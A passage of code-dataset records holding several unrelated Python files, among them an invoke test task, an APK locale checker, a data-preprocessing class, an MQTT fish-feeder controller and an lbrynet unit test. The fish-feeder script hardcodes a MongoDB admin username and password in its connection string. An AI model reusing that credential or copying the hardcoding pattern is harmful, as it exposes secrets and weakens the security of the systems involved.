"npsat_manager.serializers.ResultPercentileSerializer", "line_number": 265, "usage_type": "attribute"}, {"api_name": "npsat_manager.serializers", "line_number": 265, "usage_type": "name"}, {"api_name": "npsat_manager.models.ResultPercentile.objects.filter", "line_number": 268, "usage_type": "call"}, {"api_name": "npsat_manager.models.ResultPercentile", "line_number": 268, "usage_type": "attribute"}, {"api_name": "npsat_manager.models", "line_number": 268, "usage_type": "name"}, {"api_name": "django.db.models.Q", "line_number": 270, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 271, "usage_type": "call"}, {"api_name": "django.db.models.Q", "line_number": 272, "usage_type": "call"}]} {"seq_id": "529448657", "text": "import glob\nimport json\nfrom invoke import task\n\nfrom .vars import package_name, doc_notebooks_dir\n\n\n@task\ndef test(c, option=\"\", html=False, xml=False, notebook_tests=True):\n\n comm = \"python -m pytest --cov={}\".format(package_name)\n if option:\n comm += \" --{}\".format(option)\n if html:\n comm += \" --cov-report=html\"\n elif xml:\n comm += \" --cov-report=xml:{}/coverage.xml\".format(package_name)\n\n if notebook_tests:\n new_test_scripts = []\n for nb_idx, nb_file in enumerate(\n glob.glob(\"{}/*.ipynb\".format(doc_notebooks_dir))\n ):\n nb_dic = json.load(open(nb_file))\n nb_code = \"\\n\".join(\n [\n \"\\n\".join(c[\"source\"])\n for c in nb_dic[\"cells\"]\n if (c[\"cell_type\"] == \"code\")\n ]\n )\n if len(nb_code) > 0:\n new_test_scripts.append(\n \"def test_nb_integration_{}():\\n\".format(nb_idx)\n + \"\\n\".join(\n [\" {}\".format(s) for s in nb_code.split(\"\\n\")]\n )\n )\n with open(\n \"{}/tests/test_nb_integrations.py\".format(package_name), \"w\"\n ) as fp:\n fp.write(\"\\n\\n\".join(new_test_scripts))\n\n c.run(comm)\n c.run(\"rm {}/tests/test_nb_integrations.py\".format(package_name))\n", "sub_path": "invoke_commands/test.py", "file_name": "test.py", "file_ext": "py", "file_size_in_byte": 1401, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "vars.package_name", "line_number": 11, "usage_type": "argument"}, {"api_name": "vars.package_name", "line_number": 17, "usage_type": "argument"}, {"api_name": "glob.glob", "line_number": 22, "usage_type": "call"}, {"api_name": "vars.doc_notebooks_dir", "line_number": 22, "usage_type": "argument"}, {"api_name": "json.load", "line_number": 24, "usage_type": "call"}, {"api_name": "vars.package_name", "line_number": 40, "usage_type": "argument"}, {"api_name": "vars.package_name", "line_number": 45, "usage_type": "argument"}, {"api_name": "invoke.task", "line_number": 8, "usage_type": "name"}]} {"seq_id": "644359089", "text": "import logging\nimport re\n\nfrom io import BytesIO\nfrom zipfile import ZipFile\n\nfrom mozapkpublisher.exceptions import NoLocaleFound, NotMultiLocaleApk\n\nlogger = logging.getLogger(__name__)\n\n_LOCALE_LINE_PATTERN = re.compile(r'^locale \\S+ (\\S+) .+')\n_OMNI_JA_LOCATION = 'assets/omni.ja'\n_CHROME_MANIFEST_LOCATION = 'chrome/chrome.manifest'\n\n\ndef check_if_apk_is_multilocale(apk_path):\n with ZipFile(apk_path) as apk_zip:\n omni_ja_data = BytesIO(apk_zip.read(_OMNI_JA_LOCATION))\n with ZipFile(omni_ja_data) as omni_ja:\n with omni_ja.open(_CHROME_MANIFEST_LOCATION) as manifest:\n manifest_raw_lines = manifest.readlines()\n\n unique_locales = _get_unique_locales(manifest_raw_lines)\n number_of_unique_locales = len(unique_locales)\n logger.info('\"{}\" contains {} locales: {}'.format(apk_path, number_of_unique_locales, unique_locales))\n\n if number_of_unique_locales == 0:\n raise NoLocaleFound(apk_path, _OMNI_JA_LOCATION, _CHROME_MANIFEST_LOCATION)\n elif number_of_unique_locales == 1:\n raise NotMultiLocaleApk(apk_path, unique_locales)\n\n\ndef _get_unique_locales(manifest_raw_lines):\n manifest_lines = [line.decode('utf-8') for line in manifest_raw_lines]\n\n locales = [\n _LOCALE_LINE_PATTERN.match(line).group(1) for line in manifest_lines\n if _LOCALE_LINE_PATTERN.match(line) is not None\n ]\n\n return list(set(locales))\n", "sub_path": "mozapkpublisher/apk.py", "file_name": "apk.py", "file_ext": "py", "file_size_in_byte": 1411, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "logging.getLogger", "line_number": 9, "usage_type": "call"}, {"api_name": "re.compile", "line_number": 11, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 17, "usage_type": "call"}, {"api_name": "io.BytesIO", "line_number": 18, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 19, "usage_type": "call"}, {"api_name": "mozapkpublisher.exceptions.NoLocaleFound", "line_number": 28, "usage_type": "call"}, {"api_name": "mozapkpublisher.exceptions.NotMultiLocaleApk", "line_number": 30, "usage_type": "call"}]} {"seq_id": "222226386", "text": "import pandas as pd\nimport numpy as np\nfrom sklearn.preprocessing import OneHotEncoder, StandardScaler\nfrom sklearn.decomposition import PCA\n\n\nclass Preprocessing:\n \"\"\"\n Preprocessing utility fonction\n \"\"\"\n\n def get_onehot_data(self, dataset):\n onehot_data = OneHotEncoder(dtype=int).fit_transform(\n dataset[['state', 'country', 'industry', 'sector']])\n\n onehot_data = pd.DataFrame(onehot_data.A)\n\n return onehot_data\n\n def get_var_data(self, dataset):\n var0 = dataset[\"Close0\"] / dataset[\"Open0\"] - \\\n np.ones(dataset[\"Close0\"].shape[0])\n\n var1 = dataset[\"Close1\"] / dataset[\"Open1\"] - \\\n np.ones(dataset[\"Close1\"].shape[0])\n\n var_height_low = dataset[\"High0\"] / dataset[\"Low0\"] - \\\n np.ones(dataset[\"High0\"].shape[0])\n\n return pd.DataFrame({\"var0\": var0, \"var1\": var1, \"var_height_low\": var_height_low})\n\n def get_normalized_volume(self, dataset):\n normalized_volume = (\n dataset[\"Volume0\"] - dataset[\"Volume0\"].mean()) / np.sqrt(dataset[\"Volume0\"].var())\n\n normalized_volume = pd.DataFrame(\n {\"normalized_volume\": normalized_volume})\n\n return normalized_volume\n\n def get_normalized_date(self, dataset):\n normalized_day = dataset[\"day\"] / 31\n normalized_month = dataset[\"month\"] / 12\n\n return pd.DataFrame({\"normalized_day\": normalized_day, \"normalized_month\": normalized_month})\n\n\nclass Preprocessing1(Preprocessing):\n def get(self, dataset):\n \"\"\"\n Preprocessing pipeline\n \"\"\"\n\n print(\"Cleaning...\")\n dataset = dataset.dropna(subset=['Open0', 'High0', 'Low0', 'Close0',\n 'Volume0', 'Open1', 'Close1']).reset_index().drop_duplicates()\n\n index = dataset[[\"symbol\", \"longName\"]]\n\n print(\"Refactoring...\")\n onehot_data = self.get_onehot_data(dataset)\n var_data = self.get_var_data(dataset)\n normalized_volume = self.get_normalized_volume(dataset)\n normalized_date = self.get_normalized_date(dataset)\n\n dataset = onehot_data.join(var_data).join(\n normalized_volume).join(normalized_date)\n\n Y = dataset[\"var1\"]\n\n print(\"PCA...\")\n pca = PCA(n_components=80)\n X = pca.fit_transform(dataset.drop(columns=\"var1\"))\n\n print(\"standardize...\")\n standardizer = StandardScaler()\n X = standardizer.fit_transform(X)\n\n X = pd.DataFrame(X)\n\n return index, X, Y\n\n\ndef main():\n dataset = pd.read_csv(\"dataset.csv\", sep=\";\")\n index, X, Y = Preprocessing1().get(dataset)\n\n print(index.head())\n print(Y.head(5))\n print(X.head(5))\n\n\nif __name__ == \"__main__\":\n main()\n", "sub_path": "preprocessing.py", "file_name": "preprocessing.py", "file_ext": "py", "file_size_in_byte": 2742, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "sklearn.preprocessing.OneHotEncoder", "line_number": 13, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 16, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 25, "usage_type": "call"}, {"api_name": "numpy.ones", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 30, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 34, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 36, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 45, "usage_type": "call"}, {"api_name": "sklearn.decomposition.PCA", "line_number": 72, "usage_type": "call"}, {"api_name": "sklearn.preprocessing.StandardScaler", "line_number": 76, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 79, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 85, "usage_type": "call"}]} {"seq_id": "136226125", "text": "try:\n # -*- coding: latin-1 -*-\n # Importa as bibliotecas necessarias\n from time import sleep\n from datetime import datetime\n import paho.mqtt.client as mqtt\n import pymongo\n import os\n\n # CONFIGURÇÕES MONGODB\n def init_mongo():\n global db, hw, app\n while True:\n try:\n # Conecta ao server do MongoDB\n cliente = pymongo.MongoClient(\n 'mongodb://admin:b00tk1ll22031998@10.0.0.172:27888/?authSource=admin')\n break\n except:\n print('Erro 01: Erro ao conectar ao servidor mongo')\n init_mongo()\n\n # Seleciona o banco\n db = cliente.peixe\n # Seleciona a colection HW\n hw = db.hw\n # Seleciona a colection APP\n app = db.app\n\n # INICIA O MQTT\n client = mqtt.Client()\n client.connect(\"10.0.0.172\", 1883, 60)\n client.loop_start()\n\n # Função de receber e\n def init_var(x=0):\n # Chama a função d_ini\n d_ini(x)\n # Atribui valores as variaveis de controle\n while x < numesp:\n motor.append(0)\n controlali.append(0)\n hdesl.append(0)\n if horai[x] > horaf[x]:\n tempototalali.append((horaf[x]-horai[x]) + 86400)\n else:\n tempototalali.append(horaf[x]-horai[x])\n intervaloali.append((tempototalali[x]/numali[x]))\n margemerro.append(horai[x]+10)\n x += 1\n\n # Obtem as variaveis do server MongoDB\n\n def d_ini(x=0):\n while x < numesp:\n placa = \"tk%s\" % (x)\n dado = hw.find_one({\"_id\": placa})\n horai.append(dado[\"horai\"]*60)\n horaf.append(dado[\"horaf\"]*60)\n numali.append(dado[\"numali\"])\n tempoali.append(dado[\"tempoali\"]*60)\n horareset.append(dado[\"horai\"]*60)\n is_on.append(dado[\"is_on\"])\n x += 1\n\n # Manda comando para todas as ESP8266 começarem desligadas por padrão\n\n def desl(x=0):\n while x < numesp:\n placa = \"tk%s\" % (x)\n client.publish(placa+\"/onoff\", \"D\")\n x += 1\n\n # Funções para dar update nos dados ou adicionar esp ano\n\n def update_db(numesp):\n # Recebe variavel de controle do server\n ctrl = hw.find_one({\"_id\": \"ctrl\"})\n control = ctrl[\"control\"]\n tara = ctrl[\"tara\"]\n\n # Obtem numesp para verificar se teve adicão de novas placas na rede\n e = hw.find_one({\"_id\": \"numesp\"})\n nesp = e[\"numesp\"]\n\n # Atualiza os dados\n if(control == 1 and nesp == numesp and tara == 0):\n d_update()\n hw.update_one({'_id': 'ctrl'}, {'$set': {'control': 0}})\n\n # Se for adicionado mais uma esp\n elif(control == 1 and nesp > numesp and tara == 0):\n add = nesp-numesp\n numesp = numesp+add\n init_var(nesp-add)\n d_update()\n hw.update_one({'_id': 'ctrl'}, {'$set': {'control': 0}})\n # Confere a tara\n elif(control == 1 and tara != 0):\n tk_tara = tara[0:4]\n tara_s_n = tara[5:]\n if(tara_s_n == 1):\n client.publish(tk_tara+\"/onoff\", \"L\")\n sleep(60.0)\n client.publish(tk_tara+\"/onoff\", \"D\")\n\n def d_update(x=0):\n while x < numesp:\n placa = \"tk%s\" % (x)\n dado = hw.find_one({\"_id\": placa})\n horai[x] = (dado[\"horai\"]*60)\n horaf[x] = (dado[\"horaf\"]*60)\n numali[x] = (dado[\"numali\"])\n tempoali[x] = (dado[\"tempoali\"]*60)\n horareset[x] = (dado[\"horai\"]*60)\n is_on[x] = (dado[\"is_on\"])\n motor[x] = 0\n controlali[x] = 0\n hdesl[x] = 0\n if horai[x] > horaf[x]:\n tempototalali[x] = (horaf[x]-horai[x]) + 86400\n else:\n tempototalali[x] = horaf[x]-horai[x]\n intervaloali[x] = (tempototalali[x]/numali[x])\n margemerro[x] = horai[x]+10\n x += 1\n\n # MQTT SUBSCRIBE\n # Atualiza Temp e Comida a cada 30 segundos\n\n def switching(m):\n # Se segundos for igual a 0\n if (m == 0):\n # Subscribe no topico temp\n client.subscribe(esp+\"/temp\")\n # Se tiver mensagem chama a função on_message_temp\n client.on_message = on_message_temp\n\n else:\n # Se não Unsubscribe no topico temp\n client.unsubscribe(esp+\"/temp\")\n\n # Se segundos for igual a 30\n if (m == 30):\n # Subscribe no topico comid\n client.subscribe(esp+\"/comid\")\n # Se tiver mensagem chama a função on_message_comid\n client.on_message = on_message_comid\n else:\n # Se não Unsubscribe no topico comid\n client.unsubscribe(esp+\"/comid\")\n\n # Função para decodificar a mensagem\n\n def on_message_temp(client, userdata, msg):\n t_esp = msg.topic[0:3]\n # Salva a mensagem do topico na variavel dados_temp\n dados_temp = msg.payload.decode()\n # Faz o update do dado de temperatura no server\n app.update_one({'_id': t_esp}, {\n '$set': {'temp': float(dados_temp[0:5])}})\n\n def on_message_comid(client, userdata, msg):\n t_esp = msg.topic[0:3]\n # Salva a mensagem do topico na variavel dados_comid\n dados_comid = msg.payload.decode()\n # Faz o update do dado de comida no server\n app.update_one({'_id': t_esp}, {\n '$set': {'comid': float(dados_comid[0:5])}})\n\n # Inicia o Mongo\n init_mongo()\n\n # Confere se o usuario digitou corretamente o servidor mongo e se conectar ao server obtem a variavel de quantas ESP8266 tem no sistema\n #while True:\n #try:\n #n = hw.find_one({\"_id\": \"numesp\"})\n #break\n #except:\n #print('Erro 02: erro ao conectar ao servidor mongo')\n #init_mongo()\n\n # Obtem a variavel de quantas ESP8266 tem no sistema\n n = hw.find_one({\"_id\": \"numesp\"})\n numesp = n[\"numesp\"]\n\n # Variaveis de controle das ESP's\n horai = []\n horareset = []\n horaf = []\n numali = []\n tempoali = []\n tempototalali = []\n intervaloali = []\n margemerro = []\n motor = []\n controlali = []\n hdesl = []\n is_on = []\n i = 0\n\n # Chama a função init_var()\n init_var()\n\n # Chama a função desl()\n desl()\n\n file = open('teste.txt', 'w')\n\n # Void Loop :)\n while True:\n # Obtem o horario atual antes da execução do codigo\n t = datetime.now()\n\n # Salva em S1 os segundos e microsegundos para calcular tempo de maquina\n s1 = float(f'{t.second}.{t.microsecond}')\n\n # Chama update_db\n update_db(numesp)\n\n # Converte as horario atual para segundos\n hora = (((t.hour*60)+t.minute)*60)+t.second\n\n # Salva em S1 os segundos e microsegundos para calcular tempo de maquina\n s1 = float(f'{hora}.{t.microsecond}')\n\n # Printa variavel de hora para conferencia\n print(f'{t.hour}:{t.minute}:{t.second}')\n\n # Laço para processar os dados e atuar todas as placas\n while i < numesp:\n esp = \"tk%s\" % (i)\n if(is_on[i] == 1):\n # Obtem os dados da ESP8266 Temperatura e Comida\n switching(t.second)\n # Logica de Ligar o Motor\n if hora >= horai[i] and hora <= margemerro[i] and motor[i] == 0:\n motor[i] = 1\n # Manda comando para a ESP8266 ligar o motor\n client.publish(esp+\"/onoff\", \"L\")\n hdesl[i] = horai[i] + tempoali[i]\n controlali[i] = controlali[i]+1\n file.write(\n f'A {esp} ligou as {t.hour}:{t.minute}:{t.second} e controlali = {controlali[i]} \\n')\n if hora >= hdesl[i] and motor[i] == 1:\n motor[i] = 0\n # Manda comando para a ESP8266 desligar o motor\n client.publish(esp+\"/onoff\", \"D\")\n horai[i] = horai[i] + intervaloali[i]\n margemerro[i] = horai[i]+10\n file.write(\n f'A {esp} desligou as {t.hour}:{t.minute}:{t.second} \\n')\n if numali[i] == controlali[i]:\n horai[i] = horareset[i]\n controlali[i] = 0\n file.write(f'Resetou as {t.hour}:{t.minute}:{t.second} \\n')\n i += 1\n else:\n i += 1\n print(f'Ignorou o {esp} \\n')\n i = 0\n\n # Obtem o horario atual depois da execução do codigo\n t2 = datetime.now()\n\n # Converte as horario atual para segundos\n hora2 = (((t2.hour*60)+t2.minute)*60)+t2.second\n\n # Salva em S1 os segundos e microsegundos para calcular tempo de maquina\n s2 = float(f'{hora2}.{t2.microsecond}')\n\n # GAMBIARRA\n # Calcula o tempo de maquina\n if s2 > s1:\n s3 = s2-s1\n else:\n s3 = s1-s2\n file.write(\n f'Caiu na exceção as {t.hour}:{t.minute}:{t.second} \\n'),\n # Delay de 1 segundo menos o tempo maquina\n if s3 > 1:\n sleep(0.00000001)\n else:\n sleep(1.0-s3)\n\n\nexcept KeyboardInterrupt:\n file.write(\"Até mais :)\")\n file.close()\n print(\"Até mais :)\")\n", "sub_path": "teste/setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 9532, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "pymongo.MongoClient", "line_number": 16, "usage_type": "call"}, {"api_name": "paho.mqtt.client.Client", "line_number": 31, "usage_type": "call"}, {"api_name": "paho.mqtt.client", "line_number": 31, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 104, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 213, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 213, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 264, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 264, "usage_type": "name"}, {"api_name": "time.sleep", "line_number": 282, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 284, "usage_type": "call"}]} {"seq_id": "380949934", "text": "import os\nimport binascii\nfrom unittest import mock\nimport asyncio\nimport time\nfrom tests.unit.blob_exchange.test_transfer_blob import BlobExchangeTestBase\nfrom tests.unit.lbrynet_daemon.test_ExchangeRateManager import get_dummy_exchange_rate_manager\n\nfrom lbrynet.extras.wallet.manager import LbryWalletManager\nfrom lbrynet.stream.stream_manager import StreamManager\nfrom lbrynet.stream.descriptor import StreamDescriptor\nfrom lbrynet.dht.node import Node\nfrom lbrynet.schema.claim import ClaimDict\n\n\ndef get_mock_node(peer):\n def mock_accumulate_peers(q1: asyncio.Queue, q2: asyncio.Queue):\n async def _task():\n pass\n\n q2.put_nowait([peer])\n return q2, asyncio.create_task(_task())\n\n mock_node = mock.Mock(spec=Node)\n mock_node.accumulate_peers = mock_accumulate_peers\n return mock_node\n\n\ndef get_mock_wallet(sd_hash, storage):\n claim = {\n \"address\": \"bYFeMtSL7ARuG1iMpjFyrnTe4oJHSAVNXF\",\n \"amount\": \"0.1\",\n \"claim_id\": \"c49566d631226492317d06ad7fdbe1ed32925124\",\n \"claim_sequence\": 1,\n \"decoded_claim\": True,\n \"depth\": 1057,\n \"effective_amount\": \"0.1\",\n \"has_signature\": False,\n \"height\": 514081,\n \"hex\": \"\",\n \"name\": \"33rpm\",\n \"nout\": 0,\n \"permanent_url\": \"33rpm#c49566d631226492317d06ad7fdbe1ed32925124\",\n \"supports\": [],\n \"txid\": \"81ac52662af926fdf639d56920069e0f63449d4cde074c61717cb99ddde40e3c\",\n \"value\": {\n \"claimType\": \"streamType\",\n \"stream\": {\n \"metadata\": {\n \"author\": \"\",\n \"description\": \"\",\n \"language\": \"en\",\n \"license\": \"None\",\n \"licenseUrl\": \"\",\n \"nsfw\": False,\n \"preview\": \"\",\n \"thumbnail\": \"\",\n \"title\": \"33rpm\",\n \"version\": \"_0_1_0\"\n },\n \"source\": {\n \"contentType\": \"image/png\",\n \"source\": sd_hash,\n \"sourceType\": \"lbry_sd_hash\",\n \"version\": \"_0_0_1\"\n },\n \"version\": \"_0_0_1\"\n },\n \"version\": \"_0_0_1\"\n }\n }\n claim_dict = ClaimDict.load_dict(claim['value'])\n claim['hex'] = binascii.hexlify(claim_dict.serialized).decode()\n\n async def mock_resolve(*args):\n await storage.save_claims([claim])\n return {\n claim['permanent_url']: claim\n }\n\n mock_wallet = mock.Mock(spec=LbryWalletManager)\n mock_wallet.resolve = mock_resolve\n return mock_wallet, claim['permanent_url']\n\n\nclass TestStreamManager(BlobExchangeTestBase):\n async def asyncSetUp(self):\n await super().asyncSetUp()\n file_path = os.path.join(self.server_dir, \"test_file\")\n with open(file_path, 'wb') as f:\n f.write(os.urandom(20000000))\n descriptor = await StreamDescriptor.create_stream(self.loop, self.server_blob_manager.blob_dir, file_path)\n self.sd_hash = descriptor.calculate_sd_hash()\n self.mock_wallet, self.uri = get_mock_wallet(self.sd_hash, self.client_storage)\n self.stream_manager = StreamManager(self.loop, self.client_config, self.client_blob_manager, self.mock_wallet,\n self.client_storage, get_mock_node(self.server_from_client))\n self.exchange_rate_manager = get_dummy_exchange_rate_manager(time)\n\n async def test_download_stop_resume_delete(self):\n self.assertSetEqual(self.stream_manager.streams, set())\n stream = await self.stream_manager.download_stream_from_uri(self.uri, self.exchange_rate_manager)\n stream_hash = stream.stream_hash\n self.assertSetEqual(self.stream_manager.streams, {stream})\n self.assertTrue(stream.running)\n self.assertFalse(stream.finished)\n self.assertTrue(os.path.isfile(os.path.join(self.client_dir, \"test_file\")))\n stored_status = await self.client_storage.run_and_return_one_or_none(\n \"select status from file where stream_hash=?\", stream_hash\n )\n self.assertEqual(stored_status, \"running\")\n\n await self.stream_manager.stop_stream(stream)\n\n self.assertFalse(stream.finished)\n self.assertFalse(stream.running)\n self.assertFalse(os.path.isfile(os.path.join(self.client_dir, \"test_file\")))\n stored_status = await self.client_storage.run_and_return_one_or_none(\n \"select status from file where stream_hash=?\", stream_hash\n )\n self.assertEqual(stored_status, \"stopped\")\n\n await self.stream_manager.start_stream(stream)\n await stream.downloader.stream_finished_event.wait()\n await asyncio.sleep(0.01)\n self.assertTrue(stream.finished)\n self.assertFalse(stream.running)\n self.assertTrue(os.path.isfile(os.path.join(self.client_dir, \"test_file\")))\n stored_status = await self.client_storage.run_and_return_one_or_none(\n \"select status from file where stream_hash=?\", stream_hash\n )\n self.assertEqual(stored_status, \"finished\")\n\n await self.stream_manager.delete_stream(stream, True)\n self.assertSetEqual(self.stream_manager.streams, set())\n self.assertFalse(os.path.isfile(os.path.join(self.client_dir, \"test_file\")))\n stored_status = await self.client_storage.run_and_return_one_or_none(\n \"select status from file where stream_hash=?\", stream_hash\n )\n self.assertEqual(stored_status, None)\n", "sub_path": "tests/unit/stream/test_stream_manager.py", "file_name": "test_stream_manager.py", "file_ext": "py", "file_size_in_byte": 5597, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "59", "api": [{"api_name": "asyncio.Queue", "line_number": 17, "usage_type": "attribute"}, {"api_name": "asyncio.create_task", "line_number": 22, "usage_type": "call"}, {"api_name": "unittest.mock.Mock", "line_number": 24, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 24, "usage_type": "name"}, {"api_name": "lbrynet.dht.node.Node", "line_number": 24, "usage_type": "name"}, {"api_name": "lbrynet.schema.claim.ClaimDict.load_dict", "line_number": 72, "usage_type": "call"}, {"api_name": "lbrynet.schema.claim.ClaimDict", "line_number": 72, "usage_type": "name"}, {"api_name": "binascii.hexlify", "line_number": 73, "usage_type": "call"}, {"api_name": "unittest.mock.Mock", "line_number": 81, "usage_type": "call"}, {"api_name": "unittest.mock", "line_number": 81, "usage_type": "name"}, {"api_name": "lbrynet.extras.wallet.manager.LbryWalletManager", "line_number": 81, "usage_type": "name"}, {"api_name": "tests.unit.blob_exchange.test_transfer_blob.BlobExchangeTestBase", "line_number": 86, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path", "line_number": 89, "usage_type": "attribute"}, {"api_name": "os.urandom", "line_number": 91, "usage_type": "call"}, {"api_name": "lbrynet.stream.descriptor.StreamDescriptor.create_stream", "line_number": 92, "usage_type": "call"}, {"api_name": "lbrynet.stream.descriptor.StreamDescriptor", "line_number": 92, "usage_type": "name"}, {"api_name": "lbrynet.stream.stream_manager.StreamManager", "line_number": 95, "usage_type": "call"}, {"api_name": "tests.unit.lbrynet_daemon.test_ExchangeRateManager.get_dummy_exchange_rate_manager", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path", "line_number": 106, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 106, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 116, "usage_type": "call"}, {"api_name": "os.path", "line_number": 116, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 116, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 124, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path", "line_number": 127, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path.isfile", "line_number": 135, "usage_type": "call"}, {"api_name": "os.path", "line_number": 135, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 135, "usage_type": "call"}]} {"seq_id": "294113237", "text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport imp\nimport os\nimport sys\nimport warnings\n\n__all__ = [\"HOME\", \"REPO\", \"read\", \"readlines\", \"load_module\"]\n\nREPO = os.path.abspath(os.path.dirname(os.path.dirname(__file__)))\nif 'HOME' in os.environ:\n HOME = os.environ['HOME']\nelif os.name == 'posix':\n HOME = os.path.expanduser(\"~\")\nelif os.name == 'nt':\n if 'HOMEPATH' in os.environ:\n if 'HOMEDRIVE' in os.environ:\n HOME = os.environ['HOMEDRIVE'] + os.environ['HOMEPATH']\n else:\n HOME = os.environ['HOMEPATH']\n\n\ndef read(path):\n if os.path.exists(path) and os.path.isfile(path):\n value = open(path).read().lstrip().rstrip()\n if value:\n return value\n\n\ndef readlines(path):\n if os.path.exists(path) and os.path.isfile(path):\n lines = open(path).read().splitlines()\n lines = list(filter(lambda l: l.lstrip().rstrip(), lines))\n lines = list(filter(lambda l: l, lines))\n return lines\n return []\n\n\ndef _pyfiles(path):\n \"\"\"find python files of a directory\"\"\"\n listdir = os.listdir(path)\n listdir = filter(lambda l: os.path.splitext(\n l)[1] == \".py\" and l.find(\"__\") < 0, listdir)\n return listdir\n\n\ndef moduledict(module):\n \"\"\"get module public objects dict\"\"\"\n kwargs = dict()\n for k in getattr(module, \"__all__\"):\n if getattr(module, k):\n kwargs[k] = getattr(module, k)\n return kwargs\n\n\ndef load_module(path):\n with open(path, 'rb') as fhandler:\n # .hidden.py invisible for mdfind\n module = imp.load_module(\n path, fhandler, path, ('.py', 'rb', imp.PY_SOURCE))\n # __all__ required\n if not hasattr(module, '__all__'):\n raise ValueError(\"ERROR: %s __all__ required\" % path)\n return module\n\n\ndef _update(**kwargs):\n for key, value in kwargs.items():\n if key not in sys.modules[\"__main__\"].__all__:\n sys.modules[\"__main__\"].__all__.append(key)\n setattr(sys.modules[\"__main__\"], key, value)\n\n\ndef isstring(value):\n try:\n int(value)\n return False\n except ValueError:\n return True\n except Exception:\n return False\n\n\ndef info(string):\n if len(sys.argv) == 1:\n print(string)\n\n\ndef main():\n sys.modules[\"__main__\"].__all__ = []\n os.chdir(REPO)\n\n _setup = os.path.abspath(os.path.dirname(__file__))\n files = _pyfiles(_setup)\n # RuntimeWarning: Parent module 'modname' not found while handling\n # absolute import\n warnings.simplefilter(\"ignore\", RuntimeWarning)\n\n for file in files:\n try:\n fullpath = os.path.join(_setup, file)\n module = load_module(fullpath)\n kwargs = moduledict(module)\n _update(**kwargs)\n if kwargs:\n info(\".setup/%s: %s\" % (file[1:], kwargs))\n except AttributeError: # variable from __all__ not initialized\n continue\n # $SETUP_IMPORT\n if \"SETUP_IMPORT\" in os.environ:\n SETUP_IMPORT = os.environ[\"SETUP_IMPORT\"]\n if not os.path.exists(SETUP_IMPORT):\n raise OSError(\"%s NOT EXISTS\" % SETUP_IMPORT)\n if not os.path.isfile(SETUP_IMPORT):\n raise OSError(\"%s NOT FILE\" % SETUP_IMPORT)\n module = load_module(fullpath)\n setup_kwargs = moduledict(module)\n\n _update(**setup_kwargs)\n info(\"%s: %s\" % (SETUP_IMPORT, setup_kwargs))\n else:\n info(\"SKIP: %s NOT EXISTS\" % fullpath)\n\n kwargs = moduledict(sys.modules[\"__main__\"])\n if \"name\" in kwargs:\n name = kwargs[\"name\"]\n del kwargs[\"name\"]\n\n if len(sys.argv) == 1 and kwargs: # debug\n print('\\nsetup(name=\"%s\",' % name)\n for i, key in enumerate(sorted(list(kwargs.keys())), 1): # python3\n value = kwargs[key]\n str_value = '\"%s\"' % value if isstring(value) else value\n comma = \",\" if i != len(kwargs) else \"\"\n print(\" %s = %s%s\" % (key, str_value, comma))\n print(')')\n\n # 1) distutils (Python Standart Library)\n # https://docs.python.org/2/distutils/setupscript.html\n # https://docs.python.org/2/distutils/apiref.html (arguments)\n # 2) setuptools (extra commands and arguments)\n # extra commands:\n # http://pythonhosted.org/setuptools/setuptools.html#command-reference\n # extra arguments:\n # http://pythonhosted.org/setuptools/setuptools.html#new-and-changed-setup-keywords\n setuptools = True\n if \"--manifest-only\" in sys.argv: # distutils only\n setuptools = False\n if setuptools:\n try:\n import setuptools\n if \"install\" in sys.argv:\n print(\"setuptools.__version__: %s\" % setuptools.__version__)\n setup = setuptools.setup\n if \"zip_safe\" not in kwargs:\n kwargs[\"zip_safe\"] = False\n except ImportError:\n setuptools = False\n if not setuptools:\n if \"install\" in sys.argv:\n import distutils\n print(\"distutils.__version__: %s\" % distutils.__version__)\n from distutils.core import setup\n\n if len(sys.argv) == 1:\n return\n setup(name=name, **kwargs)\n\nif __name__ == \"__main__\":\n main()\n", "sub_path": ".setup/__init__.py", "file_name": "__init__.py", "file_ext": "py", "file_size_in_byte": 5213, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "os.path.abspath", "line_number": 10, "usage_type": "call"}, 